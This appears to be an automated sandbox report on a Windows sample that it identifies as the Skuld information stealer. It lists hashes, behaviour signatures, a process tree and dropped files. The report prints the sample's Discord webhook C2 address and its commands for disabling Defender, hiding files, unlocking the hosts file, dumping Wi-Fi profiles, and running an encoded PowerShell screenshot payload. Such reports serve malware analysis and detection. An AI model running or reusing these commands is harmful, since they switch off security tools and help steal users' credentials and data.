Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2024 15:52

General

  • Target

    groupfunds-transfer.exe

  • Size

    14.8MB

  • MD5

    33d8f8dfbeebdfaffc2116a54ab4d554

  • SHA1

    5469f1a57f1ea0fa3447d8562a8830e20279d323

  • SHA256

    2d20cd85d38cbe027f977fd9eedc4473ad26fdede4ff2729a17d4d205a895f87

  • SHA512

    bb1df5a2333372c67553ee4e326a19d783316287f3e13893f83dd2231a88303f09a85349479ae9cf9f7cb4383e18fba8bb5db3a6c31dd81691dd5010c7bb8044

  • SSDEEP

    196608:apOO+VK+RY9CnIpEluzxj55AAkI6kA1LyzHRmgxsSygLw:aGVmqudALthyzsmLL

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1284539888368226418/IYgFNf1LGi0AIpKOUQjhaxOIw8zxqFH_w1-piF8Fje7yYzzH0toXYa1U2G5EGPGvJqN0

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\groupfunds-transfer.exe
    "C:\Users\Admin\AppData\Local\Temp\groupfunds-transfer.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4020
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\groupfunds-transfer.exe
      2⤵
      • Views/modifies file attributes
      PID:1020
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4356
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4572
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:3520
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:2404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\groupfunds-transfer.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1048
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:1980
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:864
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:1960
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4424
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:3096
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4716
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:3320
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3916
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s5xdgdqy\s5xdgdqy.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1172
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBB8B.tmp" "c:\Users\Admin\AppData\Local\Temp\s5xdgdqy\CSCDE48C82A23A34D5DBEB9E4526761FE46.TMP"
                4⤵
                  PID:3980
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3856,i,1729213506309163284,12809566808978835441,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:8
            1⤵
              PID:440

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              77d622bb1a5b250869a3238b9bc1402b

              SHA1

              d47f4003c2554b9dfc4c16f22460b331886b191b

              SHA256

              f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

              SHA512

              d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              dbb22d95851b93abf2afe8fb96a8e544

              SHA1

              920ec5fdb323537bcf78f7e29a4fc274e657f7a4

              SHA256

              e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

              SHA512

              16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

            • C:\Users\Admin\AppData\Local\Temp\5LeYwqeymM\Display (1).png

              Filesize

              414KB

              MD5

              cf1dd08e4afdcf6704cee5d272c8d1d0

              SHA1

              8ff8ff3a15eeb5830d4f526d7f8679bbcb7fa4f4

              SHA256

              8cf56a3503883056ce39089ea7e92a8eacbfe6289e26b13ce562146e210438a5

              SHA512

              b6c8d280d4e09f8a74218e629424f814c1825dc368380713a812add4e9e8909588152484d4d7334cc1e3e73aaf26e4990937d9821fa1e7ad4a7b13f6dafea383

            • C:\Users\Admin\AppData\Local\Temp\RESBB8B.tmp

              Filesize

              1KB

              MD5

              cb505ae20cffc6b5b273cd134319d3be

              SHA1

              09bd73e9670887e1a2c8713ca0c430fbdaaa56ba

              SHA256

              86d7109197ccda87269c1cc648de95a4df4a26a1bca928731998cc102c5ca5c2

              SHA512

              3948c689b8c1a0347fc845b6db01c7a31d887fe48e9604c352c7b08c49e44e3a4a864a9bef97a104d8f26005f3e865162ba2a93bbc572e06429c02c7bb40fa6f

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dqqpbv22.uut.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\s5xdgdqy\s5xdgdqy.dll

              Filesize

              4KB

              MD5

              ed451c308420c7169f59c612bb6fe33d

              SHA1

              3ce6a9d788afcb75c79a53b3057a058ef74ee0d0

              SHA256

              fdf6172ad795207e0b5559fe681ec62ef46413f9444361d9999c06c042a234e7

              SHA512

              cf6fa3cdaaac8e1adac00e9db5a8a1ba9c173275e8886abe4a864008d0ce7ca42d00a8561c29b48c2caf1f24cf27fdc55f8925f1ea0156a1733c1e8805945fc5

            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

              Filesize

              14.8MB

              MD5

              33d8f8dfbeebdfaffc2116a54ab4d554

              SHA1

              5469f1a57f1ea0fa3447d8562a8830e20279d323

              SHA256

              2d20cd85d38cbe027f977fd9eedc4473ad26fdede4ff2729a17d4d205a895f87

              SHA512

              bb1df5a2333372c67553ee4e326a19d783316287f3e13893f83dd2231a88303f09a85349479ae9cf9f7cb4383e18fba8bb5db3a6c31dd81691dd5010c7bb8044

            • C:\Windows\System32\drivers\etc\hosts

              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

            • \??\c:\Users\Admin\AppData\Local\Temp\s5xdgdqy\CSCDE48C82A23A34D5DBEB9E4526761FE46.TMP

              Filesize

              652B

              MD5

              ddbdf8ac3c7b0610ccab5b29b8a33a87

              SHA1

              66db997c4d6f4dc4ec8f58149d32a93136364ee1

              SHA256

              319ebb5c461e5f39c7bc2ec78877fc900338debdea0574e7dfbed270a33cb60d

              SHA512

              cc6d221d81a3c6dd961be1e108f60c7ef0790052375bd44c7fbf5941ac8708b5a5973ce7d89252ac8607785878f1927a8356bb90154ee89638150a2ef939b564

            • \??\c:\Users\Admin\AppData\Local\Temp\s5xdgdqy\s5xdgdqy.0.cs

              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

            • \??\c:\Users\Admin\AppData\Local\Temp\s5xdgdqy\s5xdgdqy.cmdline

              Filesize

              607B

              MD5

              2889d329a32f882596e9b045094f0540

              SHA1

              6981a8f720058cbbfe4a20a11e8ebb5f5f025976

              SHA256

              96a461f9cffed59b559901b245077dc4e063ba4338134172acba89d450a6e7b9

              SHA512

              96962afc1345cf24c317d46f4c6c3da32db392a84f2d3f7e5fc8ae3b56a45d58e056130f1a028aaf4c130efe57908beb162e4d1d0bd5d304e116b24de0232c2f

            • memory/1048-4-0x000001CCBD360000-0x000001CCBD382000-memory.dmp

              Filesize

              136KB

            • memory/3916-54-0x00000132F7E10000-0x00000132F7E18000-memory.dmp

              Filesize

              32KB